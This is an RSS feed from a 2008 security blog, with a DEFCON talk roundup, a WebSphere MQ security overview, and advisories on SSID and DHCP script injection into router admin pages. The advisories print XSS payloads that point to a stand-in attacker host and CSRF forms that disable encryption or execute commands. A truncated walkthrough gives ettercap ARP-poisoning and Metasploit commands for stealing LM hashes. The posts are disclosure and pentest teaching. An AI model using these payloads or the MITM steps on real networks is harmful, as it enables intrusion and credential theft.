<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>usefulfor.com/security</title>
	<atom:link href="http://usefulfor.com/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://usefulfor.com/security</link>
	<description>security dojo</description>
	<pubDate>Sat, 20 Sep 2008 16:56:43 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>DEFCON 16 - Las Vegas 2008</title>
		<link>http://usefulfor.com/security/2008/08/21/defcon-16-las-vegas-2008/</link>
		<comments>http://usefulfor.com/security/2008/08/21/defcon-16-las-vegas-2008/#comments</comments>
		<pubDate>Thu, 21 Aug 2008 14:46:32 +0000</pubDate>
		<dc:creator>editor</dc:creator>
		
		<category><![CDATA[Events]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=100</guid>
		<description><![CDATA[hack-fu by Matt Hillman
Last week I attended DEFCON 16 in Las Vegas. I went last year as well, so I knew to expect the huge throngs of people, the strange mix of young, old, and crazy-haired and all the usual antics that happens when you gather around 7 thousand hackers in one place.
There&#8217;s a lot [...]]]></description>
			<content:encoded><![CDATA[<p>hack-fu by <strong><a href="http://www.matthillman.info/">Matt Hillman</a></strong></p>
<p>Last week I attended <a href="http://www.defcon.org/">DEFCON 16</a> in Las Vegas. I went last year as well, so I knew to expect the huge throngs of people, the strange mix of young, old, and crazy-haired and all the usual antics that happens when you gather around 7 thousand hackers in one place.</p>
<p>There&#8217;s a lot to do at DEFCON besides attending presentations, but this year I was there for business not just pleasure, so I went on a presentation-attending marathon. I must admit that this year there were less &#8220;<em>wow</em>&#8221; moments as far as the talks were concerned, but there were still some decent talks ands of course lots of opportunities to catch up with friends and acquaintances from around the world.</p>
<p>Here&#8217;s a list and some comments of the talks I attended:<br />
<span id="more-100"></span></p>
<h3>Day 1</h3>
<p><strong>Time-Based Blind SQL Injection Using Heavy Queries</strong><br />
By: <a href="http://elladodelmal.blogspot.com/">Chema Alonso</a> and Jose Parada</p>
<p>Nice little technique to perform blind SQL injection without the use of delay functions, but instead creating queries which tax the database enough for a noticeable delay to be seen. Nothing ground breaking, but nifty.</p>
<p>Links:</p>
<ul>
<li><a href="http://technet.microsoft.com/en-us/library/cc512676.aspx">http://technet.microsoft.com/en-us/library/cc512676.aspx</a></li>
<li><a href="http://www.codeplex.com/marathontool">http://www.codeplex.com/marathontool</a></li>
</ul>
<p><strong>Digital Security: A Risky Business</strong><br />
By: <a href="http://www.ianangell.com/">Ian Angell</a> (aka the &#8220;Angell of Doom&#8221;)</p>
<p>A fantastic speaker, and an unusual presentation for DEFCON, dealing with some of the myths and fallacies of the high tech world.</p>
<p><strong>Security and anonymity vulnerabilities in <a href="http://www.torproject.org/">Tor</a>: past, present and future</strong><br />
By: Roger Dingledine</p>
<p>There always seems to be a talk like this at DEFCON now, and its usually pretty interesting. This talk looked back at past Tor vulnerabilities, through to today, and suggested where further problems may lie. Tor&#8217;s unusual architecture always makes this a fascinating listen.</p>
<p><strong>New Tool for SQL Injection with DNS Exfiltration</strong><br />
By: Robert Ricks</p>
<p>This talk demonstrated a technique and a tool to extract data through an SQL injection vulnerability by tunnelling the data through DNS. This makes for fast extraction as more data can be extracted with each query than in traditional blind SQL injection techniques. The DNS exfiltration method is not new, but Rickses tool targets Oracle which, as far as I know, no practical tool did before.</p>
<p><strong>Anti-RE Techniques in DRM Code</strong><br />
By: Jan Newger</p>
<p>Fascinating look at some of the devious techniques DRM code uses to make it harder to reverse. Slides featured a pixelated section of a diagram to avoid revealing the full DRM algorithm.</p>
<p><strong><a href="http://insecure.org/presentations/BHDC08/">NMAP-Scanning the Internet</a></strong><br />
By: Fyodor</p>
<p>Really enjoyed this one. I hadn&#8217;t seen Fyodor present before and he is a very engaging speaker. His talk contained some interesting metrics based on his mammoth scans of large parts of the internet, allowing him to give advice on the most efficient scan options. He also added a variety of very nice features to nmap to be released soon.</p>
<p><strong>Keeping Secret Secrets Secret and Sharing Secret Secrets Secretly</strong><br />
By: Vic Vandal</p>
<p>The talk focused mainly on issues surrounding stenography.</p>
<p><strong>Virtually Hacking</strong><br />
By: John Fitzpatrick</p>
<p>John is a colleague of mine, so naturally I went to heckle this presentation <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> In all seriousness though it’s an interesting talk about VMware security. He released some scripts to manipulate VMware in some very interesting ways.</p>
<h3>Day 2</h3>
<p><strong>RE:Trace: The Reverse Engineer&#8217;s Unexpected Swiss Army Knife</strong><br />
By: David Weston and Tiler Beauchamp</p>
<p>This was a great talk, and one I will probably use in some future research of mine. RE:Trace is a ruby framework written around DTrace which allows you to do some kung-fu to help in reverse engineering and exploit writing. Includes some very nice integration with IDA Pro.</p>
<p><strong>Hacking Desire</strong><br />
By: Ian Clarke</p>
<p>Not what I expected, but interesting nonetheless, the talk focussed on how systems can build a predictive picture of what users like.</p>
<p><strong>Feed my SAT Monkey</strong><br />
By: <a href="http://rfidiot.org/">Major Malfunction</a> (aka Adam Laurie)</p>
<p>Hacking satellites. Do I need to say anymore? Well ok, no sending data to satellites here, but interesting insight into the world of hunting for interesting signals. Including tcp/ip data that you &#8220;wouldn&#8217;t believe&#8221;.</p>
<p><strong>Is that a unique credential in your pocket or are you just pleased to see me?</strong><br />
By: Zac Franken</p>
<p>If you&#8217;ve never seen someone take a silicone cast of their hand to fool a hand scanner, you haven&#8217;t lived.</p>
<p><strong>VulnCatcher: Fun with Vtrace and Programmatic Debugging</strong><br />
By: atlas</p>
<p>This talk shows techniques for programmatically finding when an exploitable bug &#8220;likely&#8221; occurred during fuzzing, so you can hone in on the truly interesting crashes quickly. Included an amusing interruption in which atlas was attacked by a fully automatic nerf gun.</p>
<p><strong>Introducing Momentary Faults Within Secure Smartcards/Microcontrollers</strong><br />
By: Christopher Tarnovsky</p>
<p>Some of this talk was a bit over my head (I&#8217;m a software monkey at heart), but it was quite amazing to see how you could physically mess with circuits on a chip to bypass certain restrictions. Included live, participatory demonstration!</p>
<h3>Day 3</h3>
<p><strong>Malware Detection Through Network Flow Analysis</strong><br />
By: Bruce Potter</p>
<p>Its not as if you can not go to a Bruce Potter talk. He started off with some insightful comments about the security industry generally, and moved on the to main topic of discussion, showing how best to analyse network flow from a security analysts point of view, as opposed to a purely operational concerned person. Before the talk, Bruce took part in a small TF2 lan game that was stuck up on the big screen as we filed in.</p>
<p><strong>Advanced Software Armouring and Polymorphic Kung-Fu</strong><br />
By: Nick Harbour</p>
<p>Nick Harbour had developed a pretty cool packer which used some amazing<br />
techniques to screw with analysis of the disassembly. My favourite was<br />
instructions that jump half way into their own bytecode at which point<br />
new meaningful instructions emerge.</p>
<p><strong>DNS</strong><br />
By: Dan Kaminsky</p>
<p>If I have to explain this one, you must have been living under a rock. I actually only caught the second half, as the line to get in to his talk was insanely long. But he spoke for almost 2 hours and I managed to hear some of his comments on the implications of easy DNS poisoning. Afterwards, he gave out cookies!</p>
<p><strong>Race-2-Zero Unpacked</strong><br />
By: Simon Howard</p>
<p>A dissection of the controversial Race-2-Zero contest in which participants had to get various malware past virus scanning engines.</p>
<p><strong>Toaster, a Modular NetBSD Rootkit</strong><br />
By: Anthony Martinez and Thomas Bowen</p>
<p>The guys seemed quite nervous in this presentation, but the material behind it was an interesting look at how they implemented this BSD rootkit.</p>
<p><strong>Malware RCE: Debuggers and Decryptor Development</strong><br />
By: Michael Ligh and Greg Sinclair</p>
<p>This demo driven presentation looked at techniques and tips for effectively analysing malware samples.</p>
<p><strong>en-Testing is Dead, Long Live the Pen Test</strong><br />
By: Taylor Banks and Carric</p>
<p>An insightful look at the history and development of pentesting, its roots in hacker culture, what went wrong, and how to progress into the future.</p>
<h3>Summary</h3>
<p>I really enjoyed The Pen-Test is Dead Long Live the Pentest as it tied in quite closely with what I am seeing myself and the changes we are making at MWR InfoSecurity. On a technical level my favourite talks were probably RE:Trace, Anti-RE Techniques in DRM Code and Polymorphic Kung-Fu. I wish I had got to see Jason Scott&#8217;s talk, he has to be one of my favourite speakers, but his talk wasn&#8217;t technical and as I was there on company time I decided to take in the technical talks on at the same time instead.</p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/08/21/defcon-16-las-vegas-2008/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SSID Script Injection</title>
		<link>http://usefulfor.com/security/2008/08/04/ssid-script-injection/</link>
		<comments>http://usefulfor.com/security/2008/08/04/ssid-script-injection/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 09:41:22 +0000</pubDate>
		<dc:creator>rdv</dc:creator>
		
		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=94</guid>
		<description><![CDATA[The administrative web interfaces for many wireless access points (APs) provide users with ‘Neighbourhood Wireless Scan’ functionality. This functionality scans for all accessible APs and displays the details of any APs which are identified. However, examination of these administrative interfaces revealed that a large number of them do not properly sanitise the parameters that are [...]]]></description>
			<content:encoded><![CDATA[<p>The administrative web interfaces for many wireless access points (APs) provide users with ‘Neighbourhood Wireless Scan’ functionality. This functionality scans for all accessible APs and displays the details of any APs which are identified. However, examination of these administrative interfaces revealed that a large number of them do not properly sanitise the parameters that are passed to them from any accessible APs.</p>
<p>An attacker could set up a fake AP with a malicious payload in the Service Set Identifier (SSID). The malicious SSID would be displayed in the ‘Neighbour’s Access Points Table’ page of the administrative interface and would be executed when an administrator scanned for APs.<span id="more-94"></span></p>
<p><strong>Circumstances</strong></p>
<p>Device providing an administrative web interface with a ‘Neighbourhood Wireless Scan’ functionality.</p>
<p><strong>Cause</strong></p>
<p>The device administrative web interface does not properly sanitise parameters that are passed to it from identified access points.</p>
<p><strong>Exploitation</strong></p>
<p>An attacker could set up a fake access point broadcasting specially crafted 802.11 ‘beacon’<br />
packets containing a malicious payload in the SSID.</p>
<p>The malicious SSID will be displayed in the ‘Neighbor’s Wireless Networks’ page of the affected device administrative interface and will be executed when an administrator scans for wireless access points.</p>
<p><strong>Impact</strong></p>
<p>Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could fully compromise the affected system.</p>
<p><strong>Dependencies</strong></p>
<ul>
<li> The attacker would need to be in wireless range of the affected device. However, nowadays, antennas are available which can dramatically increase the distance that can exist between an attacker and their target</li>
<li> SSIDs have a maximum length of 32 characters and this would not normally be sufficient to inject a usable malicious payload for an attack. However, an attacker could set up two fake access points and deliver a payload using the combined content of both SSIDs. A payload of 64 characters would be enough to redirect a user’s browser to a malicious web server.</li>
</ul>
<p><strong>Attack Technique</strong></p>
<p>1. An attacker sets up two fake AP broadcasting specially crafted 802.11 beacon packets containing a malicious payload in the SSID</p>
<p>SSID of the first access point: -</p>
<p><code>&lt;script&gt;location=/*</code></p>
<p>SSID of the second access point: -</p>
<p><code>*/"http://attacker";&lt;/script&gt;</code></p>
<p>A malicious SSID combined together with the use of JavaScript comment tags (/* */) will make the following payload usable in an attack.</p>
<p><code>&lt;script&gt;location="http://attacker";&lt;/script&gt;</code></p>
<p>2. This malicious SSIDs will be displayed in the &#8216;Neighbour&#8217;s Wireless&#8217; page of the affected device administrative interdace and will be executed when an administrator scans for wireless APs</p>
<p>3. The malicious payload references to a script hosted in the attacker&#8217;s web server. Below it can be seen an example of the malicious script hosted in the attacker&#8217;s web server.  This code will vary depending on the affected device.</p>
<p><code>&lt;html&gt;<br />
&lt;body onload="javascript:document.forms.wpa.submit();"&gt;<br />
&lt;form name="wpa" action="http://192.168.1.1/<strong>apply.cgi</strong>&#8221; method=&#8221;POST&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;submit_button&#8221; value=&#8221;WL_WPATable&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;action&#8221; value=&#8221;ApplyTake&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;change_action&#8221; value=&#8221;gozila_cgi&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;submit_type&#8221; value=&#8221;save&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;security_varname&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;security_mode_last&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;wl_wep_last&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;filter_mac_value&#8221; /&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;wl0_security_mode&#8221; value=&#8221;<strong>disable</strong>&#8221; /&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</code></p>
<p>4. The malicious script hosted in the attacker&#8217;s web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator&#8217;s browser to make a POST request to the wireless encryption functionality (apply.cgi) and disables the device&#8217;s wireless encryption.</p>
<p style="text-align: center"><a href="http://usefulfor.com/security/files/2008/08/ssid-diagram.jpg"><img class="alignnone size-medium wp-image-98 aligncenter" src="http://usefulfor.com/security/files/2008/08/ssid-diagram.jpg" alt="" width="500" height="280" /></a></p>
<p style="text-align: left">
<p><strong>Tool:</strong> SSID Script Injection <a href="http://www.mwrinfosecurity.com/publications/ssidattack.tar">[1]</a></p>
<p><strong>Advisory:</strong> DD-WRT SSID Script Injection Vulnerability <a href="http://www.mwrinfosecurity.com/publications/mwri_dd-wrt-ssid-script-injection_2008-07-24.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/08/mwri_dd-wrt-ssid-script-injection_2008-07-28.pdf">[2]</a></p>
<p><strong> Demo:</strong> DD-WRT SSID Script Injection Attack <a href="http://www.mwrinfosecurity.com/publications/dd-wrt.htm">[1]</a></p>
<p><strong>White paper:</strong> Behind Enemy Lines <a href="http://www.mwrinfosecurity.com/publications/mwri_behind-enemy-lines_2008-07-25.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/08/mwri_behind-enemy-lines_2008-07-25.pdf">[2]</a></p>
<p style="text-align: left">
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/08/04/ssid-script-injection/feed/</wfw:commentRss>
		</item>
		<item>
		<title>DHCP Script Injection</title>
		<link>http://usefulfor.com/security/2008/08/04/dhcp-script-injection/</link>
		<comments>http://usefulfor.com/security/2008/08/04/dhcp-script-injection/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 09:39:45 +0000</pubDate>
		<dc:creator>rdv</dc:creator>
		
		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=93</guid>
		<description><![CDATA[A number of administrative applications are available which allow users to manage a network DHCP server via a web interface. This allows administrators to set up configuration options and view active DHCP leases.
it was found that a large number of these administrative web applications did not properly sanitise parameters that were passed to them from [...]]]></description>
			<content:encoded><![CDATA[<p>A number of administrative applications are available which allow users to manage a network DHCP server via a web interface. This allows administrators to set up configuration options and view active DHCP leases.</p>
<p>it was found that a large number of these administrative web applications did not properly sanitise parameters that were passed to them from the DHCP server and therefore an attacker. In particular, a specially crafted DHCPREQUEST message containing malicious JavaScript or HTML code in the DHCP Options Hostname field could be sent to the DHCP server; the malicious code would then be displayed in the DHCP active leases page of the vulnerable administrative application and would be executed when an administrator visited the page.<span id="more-93"></span></p>
<p><strong>Circumstances</strong></p>
<p>Device providing an administrative web interface with a DHCP management functionality.</p>
<p><strong>Cause</strong></p>
<p><strong></strong>The device administrative web interface does not properly sanitise parameters that are passed to it from the DHCP server.</p>
<p><strong>Exploitation</strong></p>
<p><strong></strong>If a specially crafted DHCPREQUEST message containing malicious code in the Hostname DHCP Options field is sent to the affected DHCP server; this will be displayed in the DHCP active leases page of the device administrative interface and will be executed when an administrator visits this page.</p>
<p><strong>Impact</strong></p>
<p><strong></strong>Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could remotely execute commands in the affected system.</p>
<p><strong>Dependencies</strong></p>
<ul>
<li>The attacker would have to be connected to the network segment on which the affected device was located.</li>
<li> The DHCP server would also need to be active and to provide the attacker’s system with an IP address.</li>
</ul>
<p><strong>Attack Technique</strong></p>
<p>1. An attacker connected to the same wired network as the affected device could send a specially crafted DHCPREQUEST message containing a malicious payload in the DHCP Options Hostname field</p>
<p><code>&lt;iframe height=0 width=0 src='http://attacker-web-server/'&gt;</code></p>
<p>2. This payload would then be passed from the DHCP server to the admin web interface and executed when the DHCP active leases page was visited by an administrator</p>
<p>3. The malicious payload in the DHCP Options Hostname field references to a script hosted in the attacker&#8217;s web server. Below it can be seen an example of the malicious script hosted in the attacker&#8217;s web server.  This code will vary depending on the affected device.</p>
<p><code>&lt;html&gt;<br />
&lt;body onload="javascript:document.forms.frmExecPlus.submit();"&gt;<br />
&lt;form name="frmExecPlus" action="https://target/<strong>exec.php</strong>&#8221; method=&#8221;POST&#8221;&gt;<br />
&lt;input name=&#8221;txtCommand&#8221; type=&#8221;hyden&#8221; size=&#8221;80&#8243; value=&#8221;<strong>whoami</strong>&#8220;&gt;<br />
&lt;input type=&#8221;hidden&#8221; value=&#8221;Execute&#8221;&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;</code></p>
<p>4. The malicious script hosted in the attacker&#8217;s web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator&#8217;s browser to make a POST request to the command execution functionality (exec.php) and executes the desired command.</p>
<p style="text-align: center"><a href="http://usefulfor.com/security/files/2008/08/dhcp-diagram.jpg"><img class="alignnone size-medium wp-image-95 aligncenter" src="http://usefulfor.com/security/files/2008/08/dhcp-diagram.jpg" alt="" width="500" height="258" /></a></p>
<p><strong>Tool:</strong> DHCP Script Injection <a href="http://www.mwrinfosecurity.com/publications/dhcpattack.tar">[1]</a><br />
<strong></strong></p>
<p><strong>Advisory:</strong> pfSense DHCP Script Injection Vulnerability <a href="http://www.mwrinfosecurity.com/publications/mwri_pfsense-dhcp-script-injection_2008-07-25.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/08/mwri_pfsense-dhcp-script-injection_2008-07-28.pdf">[2]</a><br />
<strong></strong></p>
<p><strong> Demo:</strong> pfSense DHCP Script Injection Attack <a href="http://www.mwrinfosecurity.com/publications/pfsense.htm">[1]</a><br />
<strong></strong></p>
<p><strong>White paper:</strong> Behind Enemy Lines <a href="http://www.mwrinfosecurity.com/publications/mwri_behind-enemy-lines_2008-07-25.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/08/mwri_behind-enemy-lines_2008-07-25.pdf">[2]</a></p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/08/04/dhcp-script-injection/feed/</wfw:commentRss>
		</item>
		<item>
		<title>middleware and me (part 2)</title>
		<link>http://usefulfor.com/security/2008/07/09/middleware-and-me-part-2/</link>
		<comments>http://usefulfor.com/security/2008/07/09/middleware-and-me-part-2/#comments</comments>
		<pubDate>Wed, 09 Jul 2008 13:54:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=88</guid>
		<description><![CDATA[hack-fu by: rux0r
In the last article (middleware and me (part-1)) we looked at the concept of Middleware security and why it is often a neglected area. In this article we are moving on to look in detail at the security features that can be employed to protect this type of software. For the purposes of [...]]]></description>
			<content:encoded><![CDATA[<p><strong>hack-fu by</strong>: rux0r</p>
<p>In the last article (<a href="/security/2008/05/06/middleware-and-me-part-1">middleware and me (part-1)</a>) we looked at the concept of Middleware security and why it is often a neglected area. In this article we are moving on to look in detail at the security features that can be employed to protect this type of software. For the purposes of these discussions we are going to be focussing on the <a href="http://www-306.ibm.com/software/integration/wmq/">IBM Websphere MQ</a>  product, hopefully in the future I will be able to contrast these discussions against the security controls employed by a number of other messaging technologies.<br />
<span id="more-88"></span><br />
If you are going to understand how to secure an installation of <strong>Websphere MQ</strong> it is important to think about the risks it can expose. Often it is used in critical applications and therefore any vulnerabilities in the technology can be mapped directly to the business risk. In this discussion we are going to focus on our fictional company of <code>Widget Corp</code>. They make widgets which are low cost fixings used for a number of different purposes by a wide range of different customers. </p>
<p>The company is formed of several individual business units and has decided to use <strong>Websphere MQ</strong> in its manufacturing process. The typical business process flow of an individual business unit is as follows: -</p>
<p> <img src="http://usefulfor.com/security/files/2008/07/process.png" alt="A diagram that shows the different processes inside the company, from the customer to the shipping department" width="450" height="102" class="aligncenter size-full wp-image-89" /></p>
<p>For more information about the fictional Widget Corp please refer to the Websphere MQ Security White Paper (<a href="http://www.mwrinfosecurity.com/publications/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">mirror #1</a>, <a href="http://usefulfor.com/security/files/2008/06/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">mirror #2</a>).). </p>
<p>Given the importance of this process the greatest risks to the business in order of significance are as follows: -</p>
<ul>
<li><strong>Loss of Availability</strong> – With a low cost and therefore profit per unit it is vital that the number of widgets that are produced is maximised. The transfer of messages from the customers to the manufacturing plant is what keeps this process moving and therefore any unavailability in the system means loss of manufacturing time. In addition, if customers do not receive their orders on time they will take their business elsewhere.</li>
<li><strong>Damage to Integrity</strong> – Customers want their orders when they are promised to them but they also want the correct order to arrive. If the integrity of the message data is affected then orders might not be manufactured, may be delivered to the wrong customer or may contain errors. In any of these situations a customer will not be happy and will turn to an alternative supplier.</li>
<li><strong>Breach of Confidentiality</strong> – The messages being transferred across the business contain a large amount of information that would either be of interest to a competitor or would disclose information about the customer. If this data were obtained it could be used either for competitive advantage or for use in negative publicity against the company. This could result in damage to the brand or more effective competition from other companies in the industry.</li>
<li><strong>Lack of Accountability</strong> – When facing an audit it is vital that the company be able to demonstrate how its business process is transparent and can not be used for illegitimate purposes. Failure to be able to demonstrate this could result in fines or other action being taken if the company is suspected of engaging in such activities.</li>
</ul>
<p>These risks highlight how the security of the Middleware used by <code>Widget Corp</code> is of critical importance to its ongoing success. These risks can be directly mapped to a number of common security requirements and are common across all technologies and products. If you are examining a technology with such a close match to a fundamental business process it is important not to shy away from the importance of understanding the actual requirements for security controls. A mapping of the top three of the previously highlighted business risks against common security requirements is pictured here.</p>
<p><img src="http://usefulfor.com/security/files/2008/07/mapping1.png" alt="The diagram shows the relationship between business risk (confidentiality, integrity and availability) and security requirements (transport level security, authentication and authorisation)" width="450" height="415" class="aligncenter size-full wp-image-90" /></p>
<p>When using the <strong>Websphere MQ</strong> product there are a number of security features that can be used to meet these security requirements. An understanding of the relationship between these requirements and the features is critical and can be observed here: -</p>
<p><img src="http://usefulfor.com/security/files/2008/07/mapping2.png" alt="The diagram shows the relationship between security requirements (transport level security, authentication and authorisation) and Websphere MQ security feautures (SSL and TLS, MCAUSER and Security Exits)" width="450" height="396" class="aligncenter size-full wp-image-91" /></p>
<p>As can be observed in the diagram there are three primary security features that are available within Websphere MQ when considering network based access to the software.  Each of these features is described briefly with respect to its functionality and the potential impact on the system if it is not used: -</p>
<ul>
<li><strong>SSL and TLS Encryption</strong> – A wide range of ciphers can be configured to protect any communication of <strong>Websphere MQ</strong> data across a network including enforcing a requirement for a system to present a client certificate at connection time. The use of a given cipher or client certificate controls can be tested for on a channel by channel basis and the error codes that are returned enable the status to be accurately determined. Failure to use these controls could result in traffic sniffing attacks being a viable method for compromising data confidentiality and integrity.</li>
<li><strong>MCAUSER</strong> – Each channel can be protected with a user context under which the messaging transactions take place. This can be reviewed by investigating channel settings using Inquire commands which are standard <strong>Websphere MQ</strong> operations. If <code>MCAUSER</code>s are not defined it could enable a user to access objects for which they have not been granted authorisation to do so.</li>
<li><strong>Security Exit</strong> – An external application can be defined which <strong>MQ</strong> hands off the responsibility of user authentication to and can enforce both user and IP addresses restrictions. If an exit has been configured for a channel <strong>Websphere MQ</strong> it will indicate this when attempting to connect. If a security exit is not defined for a channel it means that no user authentication can occur, system authentication can still occur using SSL but this has no direct mapping to user based access control on the <strong>Websphere MQ</strong> system itself.</li>
</ul>
<p>When examining the technology it is important that the role of each of these be understood, how their presence can be tested for and in which circumstances they are required. Given that these security controls are available it could be assumed that they are always utilised. However, this is a false assumption and often one if not all of these features are either not used or not used with appropriate coverage. Therefore, on the majority of installations there are plenty of security vulnerabilities just waiting to be discovered by someone who looks in sufficient detail.</p>
<p>This article has provided a basic overview of the mapping between risk and security controls associated with the <strong>Websphere MQ</strong> product and the features that can be enabled. For more information about these have a read of the white paper discussed earlier. Next time I will begin to discuss how a security assessment from the perspective of a penetration tester can be mapped out and will examine some new features of dradis that can help this to be achieved.</p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/07/09/middleware-and-me-part-2/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Grabbing LM challenges with an ettercap filter</title>
		<link>http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/</link>
		<comments>http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 17:15:58 +0000</pubDate>
		<dc:creator>editor</dc:creator>
		
		<category><![CDATA[Networking]]></category>

		<category><![CDATA[Windows]]></category>

		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=71</guid>
		<description><![CDATA[hack-fu by: bob So&#8230; this is an amalgamtion of several ideas and bits of work I&#8217;ve found floating around that I put together. The result is a handy pentesting/pwnage technique. The following blog that kicked this idea off discusses a modified Metasploit exploit module called smb_server.pm by Kurt Grutzmacher: NTLMv1, Metasploit and You.  Around [...]]]></description>
			<content:encoded><![CDATA[<p>hack-fu by: <strong>bob</strong> So&#8230; this is an amalgamtion of several ideas and bits of work I&#8217;ve found floating around that I put together. The result is a handy pentesting/pwnage technique. The following blog that kicked this idea off discusses a modified Metasploit exploit module called smb_server.pm by Kurt Grutzmacher: <a href="http://grutztopia.jingojango.net/2007/04/ntlmv1-metasploit-and-you.html">NTLMv1, Metasploit and You</a>.  Around the same time I&#8217;d been playing with some ettercap filters, based on the below work at Irongeek: <a href="http://www.irongeek.com/i.php?page=security/ettercapfilter">Fun with Ettercap Filters</a>.  These two sparked something and gave me a use of those huge LMHALFCHALLENGE rainbow tables I&#8217;d downloaded. <span id="more-71"></span></p>
<h3>Goal:</h3>
<p>To retreive a client&#8217;s currently logged in credentials through manipulation of their HTTP stream (via a MITM attack).  Most of the clients seen during various internal tests were pretty well firewalled and patched. However by manipulating a client&#8217;s HTTP stream it was possible to have them send their username and the majority of their password hash.</p>
<h3>Conditions:</h3>
<p>So as with most things there are some conditions that must be inplace for this to be successful and also requirements that the credential snarfer must have sorted.  Client Conditions:-:</p>
<ul>
<li>The target client must be using a version of IE for their browsing. During testing IE appears to be the only browser that by default sends through the resonse to the challenge of the locally logged in user that we&#8217;re after.</li>
<li>Must be on same netowrk segment, for the MITM attack to work of course.</li>
<li>Only LANMAN hashes can be obtained this way. If the client has been configured to support NTLM only then we lose. Most default installs will not be set up this way, you <strong>may</strong> encounter more secure setups in some corporate environments.</li>
<li>Only the first 7 characters are in the tables. Youll have to brute force the rest of the password.</li>
</ul>
<h3>Attacker&#8217;s Rig:</h3>
<ul>
<li>Some LMHALFCHALL rainbow tables: <a href="http://www.freerainbowtables.com/tables/halflmchall/halflmchall_all-space_1-7.torrent">halflmchall_all-space_1-7.torrent</a> (54gig) -or- <a href="http://www.freerainbowtables.com/tables/halflmchall/halflmchall_alpha-numeric_1-7.torrent">halflmchall_alpha-numeric_1-7.torrent</a> (5gig)</li>
<li>Metasploit, plus Kurt Grutzmacher&#8217;s exploit module smb_server.pm from here (this does not work on Windows):
<ul>
<li><a href="http://metasploit.com/tools/">http://metasploit.com/tools/</a>: Looking for Framework v.2.7</li>
<li><a href="http://grutz.jingojango.net/exploits/smb_sniffer.pm">smb_sniffer.pm</a></li>
</ul>
</li>
<li><a href="http://ettercap.sourceforge.net/download.php">Ettercap</a> plus an ettercap filter to rewrite the victims web pages <a href="/security/files/2008/07/LMHC_etter.filter">LMHC_etter.filter</a>.</li>
<li><a href="http://www.oxid.it/downloads/ca_setup.exe">Cain &amp; Abel</a> to perform the crypt analysis of the LMHALFCHALLENGE hashes recovered. As far as I know these rainbow tables for LMHC were created with the Cain &amp; Abel utility winrtgen and therefore are incompatible with the patched version of rcrack.</li>
</ul>
<h3>Attacker Process:</h3>
<ul>
<li>Fix up the IP address in the <code>LMHC_etter.filter</code> file to represent the host you&#8217;ll be running Metasploit 2.7 &amp; the smbsniffer exploit module from.</li>
<li>Compile that with:
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>etterfilter.exe -o LMHC_etter.ef LMHC_etter.filter</pre></div></div>
</li>
<li>Unpack Metasploit 2.7 from tha above link, place <code>smb_sniffer.pm</code> under the exploits/ directory.</li>
<li>Install and run as root</li>
<li>Metasploit commands :
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>framework-2.7 $ sudo ./msfconsole msf &amp;gt; use smb_sniffer msf smb_sniffer &amp;gt; set PWFILE=/tmp/smb_sniffed.pw3</pre></div></div>
<p> So the SMBsniffer is waiting listening for connections fro the victims IE. So we need to rewrite some of their web requests to ensure they pass us their LMHALFCHALLENGE hashes.</li>
<li>Run up ettercap using our compiled filter from earlier, to perfom the arp poisoning attack with the following:
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>ettercap -Tq -M arp:remote -F /mnt/LMHC_etter.ef /GATEWAY ADDRESS/ /VICTIM ADDRESS/</pre></div></div>
</li>
<li>When the page gets rewritten correctly IE will attempt to make the connection and send the logged in user credentials to your waiting server.</li>
